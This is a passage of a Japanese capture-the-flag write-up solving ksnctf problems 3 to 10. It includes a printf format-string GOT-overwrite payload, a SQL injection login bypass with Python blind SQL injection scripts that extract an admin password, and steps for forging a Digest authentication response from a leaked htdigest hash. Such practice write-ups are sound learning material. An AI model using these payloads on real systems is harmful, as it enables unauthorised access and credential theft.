http://ksnctf.sweetduet.info/q/3/unya.html が与えられます。フォームが1つある単純なwebページに見えます。フォームに何を入れてSubmitボタンを押しても "No" というアラートが出るばかりです。
ポイント
- javascriptの文法
解法
unya.html のソースを見ると、 head タグの中に長ーい script タグがあり、何やら(文字通り)うにゃうにゃと書いてあります。
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー, (後略)
js の変数名や関数名には実は日本語を用いることができるので、これは文法的に正しい js となっています。 ちなみに、このような js は http://sanya.sweetduet.info/unyaencode/ で生成できるようです。
最初の部分を読み解いてみます。日本語の変数名と関数名をアルファベットに置き換えると、
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー
は
(a)=(/ᆞωᆞ/),(a).b=-!!(/ᆞωᆞ/).c
と同じとみなせます。さらに読み解くと、以下のようになことがわかります。
/
〜/
で囲まれた部分は正規表現a
は正規表現を表す変数で、RegExp
クラスのインスタンスa
にb
というプロパティを追加して値を代入(/ᆞωᆞ/).c
は変数/ᆞωᆞ/
の存在しないプロパティを参照しているので、undefined
となる!
をつけると bool に変換、-
をつけると数値に変換、と考えることができるので-!!undefined
は-0
となる- よって
a.b
には-0
が代入される
このような感じで、うにゃうにゃ言っているだけに見えるコードでも意味の有りそうな動作をしています。
この調子で読んでいくのは大変なので、script タグの中身を unya.js
として保存し node unya.js
で実行します。すると、以下のようなエラーになります。 jQuery を import していないので $
が定義されていないと怒られていますが、注目すべきはエラーとなった部分のコードが吐かれている点です。
undefined:2 $(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});}); ^ ReferenceError: $ is not defined
吐かれたコードを読み解いてみます。
$(function(){ $('form').submit(function(){ var t=$('input[type="text"]').val(); var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449); var f=false; if(p.length==t.length){ f=true; for(var i=0; i<p.length; i++) if(t.charCodeAt(i)*(i+1)!=p[i]) f=false; if(f) alert('(」・ω・)」うー!(/・ω・)/にゃー!'); } if(!f) alert('No'); return false; }); });
これは、フォームに与えられた文字列 t
を1文字ずつ数値に変換したものが、 p
の各要素と等しくなっているかどうかを調べる、というようなことをしています。以下のスクリプトで、このような t
を p
から逆に求めることができます。
var p = Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449); var t_nums = p.map((n, i) => { return n / (i + 1); }); var t = String.fromCharCode(...t_nums); console.log(t);
4. Villager A
問題概要
ssh の user と pass が与えられる。sshしてみると、 ~/
に以下のようなファイルが置いてある。
-r--------. 1 q4a q4a 22 May 22 2012 flag.txt -rwsr-xr-x. 1 q4a q4a 5857 May 22 2012 q4 -rw-r--r--. 1 root root 151 Jun 1 2012 readme.txt
ポイント
- print format attack(セキュリティコンテストチャレンジブック 2.4.2)
- GOT overwrite(セキュリティコンテストチャレンジブック 2.4.2)
解法
結論から言うと、以下のように実行するとflagを得られます。
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
printfの書式設定の脆弱性を利用すると、メモリの中の値を出力したり、メモリの値を書き換えたりできます。この脆弱性を利用して、 eip を奪い好きな関数を実行させることができます。詳しくは GOT overwrite ~ ksnctf #4 Villager A ~ に分かりやすい説明があるのでそちらを参照してください。
5. Onion
問題内容
すごく長い文字列が与えられます。
ポイント
解法
与えられた文字列は base64 っぽさが漂っています。そこでとりあえず base64 decode してみます。
echo [問題文] | base64 -D
すると少し短い文字列が出てきます。
この文字列は実は、ある文字列を繰り返し base64 encode したものになっています。このことは問題名の「Onion」にもあらわれています。従って、 base64 decode を繰り返していくと、だんだん文字列が短くなり、ほしい文字列が得られます。 例えば以下のようなスクリプトで繰り返しができます。もしくは、 echo "<問題文>" | base64 -D | base64 -D | ...
のようにpipeをつないでいっても良いです。
s="<問題文>" i=0 while [ ! -z $s ]; do echo "=====" echo $i echo $s i=$(($i+1)) s=$(echo $s | base64 -D) done
16回目で以下の文字列が得られます。
begin 666 <data> 51DQ!1U]&94QG4#-3:4%797I74$AU end
これは何でしょう。 begin 666 <data>
でクグります。すると、これはどうやら uuencode されたデータだとわかります。
得られたデータをデコードするためには、ファイル名と最後から2行目を少しだけ修正して onion.txt
として保存します。
begin 666 flag.txt 51DQ!1U]&94QG4#-3:4%797I74$AU ` end
以下を shell で実行すると flag.txt にフラグが出力されます。
uudecode -i onion.txt
6. Login
問題概要
login フォームが与えられます。
ポイント
- SQLインジェクション
- ブラインドSQLインジェクション
解法
まず、SQLインジェクションしてみます。 ' or 1=1 --
を入力すると、以下のようなHintが吐かれます。
Congratulations! It's too easy? Don't worry. The flag is admin's password. Hint: <?php function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');} $id = isset($_POST['id']) ? $_POST['id'] : ''; $pass = isset($_POST['pass']) ? $_POST['pass'] : ''; $login = false; $err = ''; if ($id!=='') { $db = new PDO('sqlite:database.db'); $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'"); $login = $r && $r->fetch(); if (!$login) $err = 'Login Failed'; } ?><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title> </head> <body> <?php if (!$login) { ?> <p> First, login as "admin". </p> <div style="font-weight:bold; color:red"> <?php echo h($err); ?> </div> <form method="POST"> <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div> <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div> <div><input type="submit"></div> </form> <?php } else { ?> <p> Congratulations!<br> It's too easy?<br> Don't worry.<br> The flag is admin's password.<br> <br> Hint:<br> </p> <pre><?php echo h(file_get_contents('index.php')); ?></pre> <?php } ?> </body> </html>
最初の数行にある通り、admin のパスワードを見つければいいようです。
どのようにすればadminのパスワードを見つけられるでしょうか? 先程やったように、SQLインジェクションを行えばある程度自由にSQLクエリを実行できます。 しかしながら、その実行結果を観測する方法は限られています。 SQLの実行結果をまるごとtable状にページに表示できれば楽ですが、そこまで甘くありません。 今回の場合、観測できるのは、実行したSQLに該当するレコードがあるかないか、です。 該当するレコードが存在しない場合、 "Login Failed" と表示されます。 該当するレコードが存在する場合、上記のHintが表示されます。 このどちらが表示されるかによって、実行したSQLに該当するレコードがあるかないかを知ることができます。
つまり、
- SQLインジェクションによって適当なクエリを実行させて
- 該当するレコードがあるかないかをレスポンスから判定する
ことを繰り返しながら、adminのパスワードを調べていきます。 このような手法は、ブラインドSQLインジェクションと呼ばれています。
まず、パスワードの長さを見つけます。
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' for i in range(1, 100): sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format( counter=i) payload = { 'id': sql, } response = requests.post(url, data=payload) if len(response.text) >= 2000: # responseが2000文字以上ならHintが表示されている、つまり該当するレコードあり print('length of the password is {counter}'.format(counter=i)) break
これで、パスワードの長さは21とわかります。
次に21文字のパスワードを1文字ずつ見つけていきます。SQL の SUBSTR
句を使います。
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' password = '' for index in range(1, pass_len + 1): for char_number in range(48, 123): char = chr(char_number) sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format( index=index, char=char) payload = { 'id': sql, 'pass': '' } response = requests.post(url, data=payload) if len(response.text) > 2000: print(char, end="") password += char break print() print(password)
得られたパスワードがフラグです。
7. Programming
問題概要
謎のcppファイルが与えられる。
ポイント
- Whitespace
- アセンブリ(?)
解法
c++と見せかけて、実はWhitespaceという難解プログラミング言語のソースコードです。 Whitelips という、web上で実行できるWhitespaceのIDEがあるので、今回はこれを使います。 与えられたプログラムをコピペして実行してみます。 すると、画像のようになります。
PIN:
と表示され、ユーザの入力待ちになります。
ここで、右側のアセンブリっぽいものに注目します。
readi
で入力されたPINと 33355524
という謎の数値を sub
で引き算して、その後の jz
(= jump if zero) で label_0
に飛ぶかどうかを分岐しているような雰囲気があります。
つまり、 33355524
という数値を入力したときになにか特殊な処理が行われそうです。
実際に 33355524
を入力すると、 OK
の表示の後にフラグが出力されます。
8. Basic is secure?
問題概要
pcapファイルが与えられます。
ポイント
解法
Basic 認証を知っていれば、タイトルとpcapファイルでピンとくるかもしれません。
もしくは、 HTTP/1.1 401 Authorization Required
のレスポンスも、Basic 認証に関する通信を行っていると気づくポイントです。
Basic 認証だと気づいた後は、user:pass を送信しているリクエストを見つけます。今回は、 HTTP/1.1 401 Authorization Required
の次のリクエストが該当するリクエストです。このリクエストのAuthorizationヘッダ部分のパスワードがフラグです。
ちなみに、Authorizationヘッダの文字列をbase64デコードすると <user>:<pass>
という形式でユーザ名とパスワードが得られますが、wiresharkでpcapファイルを見ている場合は、wiresharkがデコード後の文字列も表示してくれるので楽です。
9. Digest is secure!
概要
pcapファイルが与えられる。
ポイント
- Digest認証
解法
大きく分けて3ステップです。
- Digest認証に関する問題だと気付く
- httpでやり取りしたファイルを復元する
- なりすましで認証を突破する
Digest認証に関する問題だと気付く
Digest認証を知っていれば、pcapファイルが与えられているという点と問題タイトルだけでピンとくるかもしれません。
そうでなくても、HTTP/1.1 401 Authorization Required のレスポンスの WWW-Authenticate
ヘッダで気付くことができます。
Digest認証は replay attack が効かないので、pcapファイルのリクエストをそのまま再送するだけではだめです。 正規ユーザになりすまして、適切なリクエストを生成して送信する必要があります。
この問題はDigest認証のプロトコルを理解していることが求められるので、ここで少し補足します。
Digest認証の仕様は RFC2617 - HTTP Authentication: Basic and Digest Access Authentication で定義されています。 大まかな流れは以下の通りです。
- クライアントは認証が必要なページをリクエストする。
- サーバが
401 Authorization Required
のレスポンスを返す。このとき、realm
nonce
qop
などといった値をWWW-Authenticate
ヘッダに含めて返す。 - クライアントはユーザにユーザ名とパスワードの入力を求める。
- クライアントは
cnonce
と呼ばれるランダム文字列を生成し、後述の方法でresponse
のハッシュ値を計算する。 - クライアントはサーバから送られた認証に関する情報とともに、ユーザ名とresponseをサーバに送信する。
- サーバがクライアントから受け取った値とサーバに格納されているハッシュ化されたパスワードから、正解の
response
を計算する。 - クライアントが送信した
response
とサーバが計算した正解値が一致すれば認証成功。一致しなければ 2. にもどる。
response
は以下のように計算されます。
A1 = username ":" realm ":" passwd A2 = Method ":" digest-uri response = H( H(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" H(A2) )
ここで H
はハッシュ関数です。それぞれの値の意味は以下の通りです。
username
... ユーザ名realm
... 認証領域passwd
... パスワードMethod
... HTTPのメソッドdigest-uri
... アクセスしたいページのURInonce
... サーバがランダムに設定する文字列nc
... nonce-count。あるnonce
値に対して何回目のリクエストかを表す16進数。cnonce
... クライアントがランダムに設定する文字列qop
... quality of protection。サーバがauth
かauth-init
を指定する。
httpでやり取りしたファイルを復元する
wiresharkを使って、httpでやり取りされたファイルを復元します。 File > Export objects > HTTP で復元できます。 wiresharkすごいです。
以下の5つのファイルが復元されます。
ここで注目すべきは、 ~q9 (2回目) と htdigest です。
~q9 (2回目) の中身を読むと、 /~q9/flag.html
にフラグがあるということが分かります。
<!DOCTYPE html> <head> <meta charset="utf-8"> <title>Q9</title> </head> <body> <p>Congratulations!</p> <p>The flag is <a href="flag.html">here</a>.</p> </body> </html>
htdigest ファイルには、謎のハッシュ値が記録されています。
q9:secret:c627e19450db746b739f41b64097d449
これは何でしょう?
htdigest ファイルには、 <ユーザ名>:<realm>:H(<ユーザ名>:<realm>:<パスワード>)
という形式でユーザ名と暗号化されたパスワードが保存されています。
したがって今回の場合、 c627e19450db746b739f41b64097d449
= H(A1)
ということになります。
なりすましで認証を突破する
さて、pcapファイルのhttpリクエスト/レスポンスや htdigest ファイルの内容から、Digest認証に関連する変数の値が以下の通りだと分かります。
ただし、 cnonce
は自分で適当にランダム値を設定しました。
algorithm
がMD5なので、 echo -n GET:/~q9/flag.html | md5
などとすれば H(A2)
を計算できます。
nonce
はリクエストのたびに変わるので、以降の値はあくまで一例です。
algorithm = MD5 H(A1) = c627e19450db746b739f41b64097d449 nonce = hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0 nc = 00000001 cnonce = 0a4f113b qop = auth A2 = GET:/~q9/flag.html H(A2) = ffffdd8b8029499600f95a69beb239c2
この場合の response
は以下のコマンドで計算できます。
echo
に -n
オプションをつけないと最後の改行も含めてハッシュ値が計算されてしまうので注意です。
echo -n c627e19450db746b739f41b64097d449:hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0:00000001:0a4f113b:auth:ffffdd8b8029499600f95a69beb239c2 | md5
ということで、今回設定すべき response
は 78f9ce00939ab5d93d65b458bf34c381
となります。
GET http://ctfq.sweetduet.info:10080/~q9/flag.html
リクエストの Authorization
ヘッダに下記の文字列を設定して送信すると、フラグを含んだhtmlファイルをゲットできます。
Digest username="q9", realm="secret", nonce="hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0", uri="/~q9/flag.html", algorithm=MD5, response="78f9ce00939ab5d93d65b458bf34c381", qop=auth, nc=00000001, cnonce="0a4f113b"
10. #!
問題概要
そのまま引用
What's this? ↓
#!/usr/bin/python
print "Hello world"The flag is FLAG_S?????? (in capital letters).
ポイント
- シェバン
解法
#!
の名称を答えればいいだけ。